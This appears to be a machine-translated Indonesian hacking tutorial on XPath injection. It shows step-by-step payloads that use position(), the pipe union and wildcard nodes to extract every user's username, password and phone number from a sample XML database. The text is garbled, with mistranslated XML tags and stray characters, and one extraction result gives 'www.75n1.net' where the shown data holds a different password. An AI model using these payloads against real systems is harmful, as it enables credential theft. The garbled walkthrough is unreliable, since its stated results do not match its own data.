Dasar XPath Injection

chmood
Mulai dari nama dewa saya "Allah" yang paling dermawan paling penyayang
Dalam tutorial ini kita akan membahas dasar XPath injeksi dan mempelajari dasar-dasar menyuntikkan ke dalam query XPath. query XPath terlalu banyak seperti SQL query juga.

Dan aturan suntik ke XPath juga sama untuk query SQL. Anda harus mengurus penutupan input dengan kutipan tunggal atau ganda dan kemudian berkomentar jika diperlukan. Untuk pemahaman yang lebih saya akan menggunakan file XML untuk menjelaskan semua contoh dalam tutorial ini, Anda juga dapat menggunakan Leettime untuk berlatih

<UserDB> <user> <nama pertama = "Jeff" lalu = "Smiley" /> <id> 1 </ id> <username> Jefferson </ username> <password> Jutobi </ password> <telepon> 123-456 -7890 </ telepon> </ user> <user> <nama pertama = "Chunk" lalu = "MacRunfast" /> <id> 2 </ id> <username> Alexandra </ username> <password> idiot keamanan </ password> <telepon> 603-478-4115 </ telepon> </ user> <user> <nama pertama = "Xenodermus" lalu = "javanicus" /> <id> 3 </ id> <username> Zen </ username > <password> @lltogether </ password> <telepon> 222-222-2222 </ telepon> </ user>
</ UserDB>

Β Β  Seperti yang saya tahu sebagian besar pembaca yang membaca di sini harus memiliki beberapa informasi dasar dari query SQL, jadi bukan dimulai dari XPath saya akan menunjukkan bagaimana Anda dapat hanya berhubungan atau mengkonversi query SQL ke dalam query XPath. Di bawah ini adalah query SQL dasar di mana kita mengekstrak username dari pengguna tabel di bawah database userDB menggunakan kondisi pada id.

pilih username dari userdb.user mana id = 1

Β Β  Sekarang mari kita mengubah query di atas ke dalam query XPath dan melihat perbedaannya.

/ UserDB / user [id = '1'] / username

Query di atas akan mengekstrak username pengguna yang id adalah 1 yang merupakan "Jefferson" di File XML

Β Β  Seperti yang Anda lihat di query di atas kami pertama kali ditentukan jalan dan kemudian kondisi dan kemudian apa yang kita ingin mengekstrak, ya yang sesederhana itu. Sekarang saya harap Anda bisa memahami permintaan XPath dasar. Jadi sekarang mari kita menyuntikkan query di atas untuk menghitung username dari setiap pengguna satu per satu dengan asumsi kita tidak tahu user id untuk setiap pengguna dan kami ingin memeriksa username dari semua pengguna maka kita dapat menggunakan fungsi posisi (). Berikut adalah contoh dari fungsi posisi.


/ UserDB / user [posisi () = 1] / username
Akan mengekstrak username pertama yang "Jefferson"
/ UserDB / user [posisi () = 2] / username
Akan mengekstrak username pertama yang "Alaxandra"
/ UserDB / user [posisi () = 3] / username
Akan mengekstrak username pertama yang "Zen"
Sekarang mari kita query yang kita gunakan sebelumnya dan menyuntikkan menggunakan fungsi posisi.
/ UserDB / user [id = 'ourinputhere'] / username
Katakanlah masukan kami itu atau posisi () = 1 atau 'query akan menjadi
/ UserDB / user [id = '' atau posisi () = 1 atau ''] / username
Akan mengekstrak username pertama yang "Jefferson"
yang berarti kondisi mengatakan baik id harus kosong atau mendapatkan username pengguna pertama, dan kami akan mendapatkan username pertama. Tapi injection ini tidak memungkinkan kita untuk menghitung rincian lain seperti kolom lain di SQL atau XPath kita dapat mengatakan saudara lainnya. Jadi bagaimana untuk mendapatkan saudara lain karena yang '/ username' di akhir query membuat query kita untuk mengekstrak hanya nama pengguna.

Di sini kita bypass untuk itu yang merupakan karakter pipa, juga dikenal sebagai union select operater untuk XPath. Sebuah operater pipa dapat digunakan untuk menggabungkan dua pernyataan yang berbeda, Jadi apa yang akan lakukan adalah menggunakan pipa kita akan memisahkan / username bagian ke pernyataan berikutnya dan tidak peduli output apapun berasal dari bukan dari pernyataan kedua, masih XPath akan memberi kita output dari pernyataan pertama. Ini berarti apa yang kita perlu berkonsentrasi pada adalah untuk hanya menyimpan pernyataan pertama kami valid. Jadi kita bisa membuat sesuatu query kita seperti ini.

/ UserDB / user [id = 'ourinputhere'] / username
Katakanlah masukan kami itu atau posisi () = 1] / New_Element_name | a [ 'query akan menjadi
/ UserDB / user [id = '' atau posisi () = 1] / New_Element_name | a [ ''] / username

Sekarang misalnya kita ingin mengekstrak password dari pengguna menggunakan injeksi di atas maka kita hanya perlu menempatkan nama kolom password pada tempat elemen yang akan memberi kita hasil di bawah:

/ UserDB / user [id = 'ourinputhere'] / username
Katakanlah masukan kami itu atau posisi () = 1] / password | a [ 'query akan menjadi


/ UserDB / user [id = '' atau posisi () = 1] / password | a [ ''] / username
Akan mengekstrak password pengguna pertama yang "Jutobi"

Ini akan berhasil memberi kita password tapi sekarang kita hanya diasumsikan bahwa nama kolom password adalah password, yang hanya asumsi. Tapi bagaimana jika nama kolom untuk password seperti 'my_pass' maka kita tidak akan dapat mengekstrak itu. Di sini kita dapat menggunakan trik lain, jika Anda membaca Memilih diketahui Nodes hati-hati maka Anda mungkin tahu apa yang bisa kita lakukan. Kita dapat menggunakan * untuk memilih Node tidak diketahui atau Element, dan kita harus menentukan elemen yang kita inginkan. Hanya melihat contoh berikut dengan seksama:

/ UserDB / user [id = 'ourinputhere'] / username
Katakanlah masukan kami itu atau posisi () = 1] / * [1] | a [ 'query akan menjadi
/ UserDB / user [id = '' atau posisi () = 1] / * [1] | a [ ''] / username
Wont Ekstrak apa-apa sebagai elemen yang Atribut tidak nilai Element
/ UserDB / user [id = '' atau posisi () = 1] / * [2] | a [ ''] / username
Ini akan mendapatkan elemen Kedua untuk pengguna pertama yang '1'.
/ UserDB / user [id = '' atau posisi () = 1] / * [3] | a [ ''] / username
Ini akan mendapatkan elemen ketiga untuk pengguna pertama yang "Jefferson".
/ UserDB / user [id = '' atau posisi () = 1] / * [4] | a [ ''] / username
Ini akan mendapatkan elemen balik untuk pengguna pertama yang "Jutobi".
/ UserDB / user [id = '' atau posisi () = 1] / * [5] | a [ ''] / username
Ini akan mendapatkan elemen kelima untuk pengguna pertama yang "123-456-7890".

Bagian merah di query injection kami. Dengan cara ini kita bisa menghitung semua saudara untuk elemen pertama sekarang memungkinkan mengubah posisi () untuk menghitung semua nilai dari pengguna kedua.

/ UserDB / user [id = 'ourinputhere'] / username
Katakanlah masukan kami itu atau posisi () = 2] / * [1] | a [ 'query akan menjadi
/ UserDB / user [id = '' atau posisi () = 2] / * [1] | a [ ''] / username
Wont Ekstrak apa-apa sebagai elemen yang Atribut tidak nilai Element
/ UserDB / user [id = '' atau posisi () = 2] / * [2] | a [ ''] / username
Ini akan mendapatkan elemen Kedua untuk pengguna pertama yang '2'.
/ UserDB / user [id = '' atau posisi () = 2] / * [3] | a [ ''] / username
Ini akan mendapatkan elemen ketiga untuk pengguna pertama yang "Alexandra".


/ UserDB / user [id = '' atau posisi () = 2] / * [4] | a [ ''] / username
Ini akan mendapatkan elemen balik untuk pengguna pertama yang "www.75n1.net".
/ UserDB / user [id = '' atau posisi () = 2] / * [5] | a [ ''] / username
Ini akan mendapatkan elemen kelima untuk pengguna pertama yang "603-478-4115".

Dengan cara yang sama kita dapat mengekstrak rincian untuk pengguna ketiga juga. Saya harap Anda menikmati membaca. Meninggalkan komentar berharga Anda dan masukan silahkan.

senang peretasan
Komentar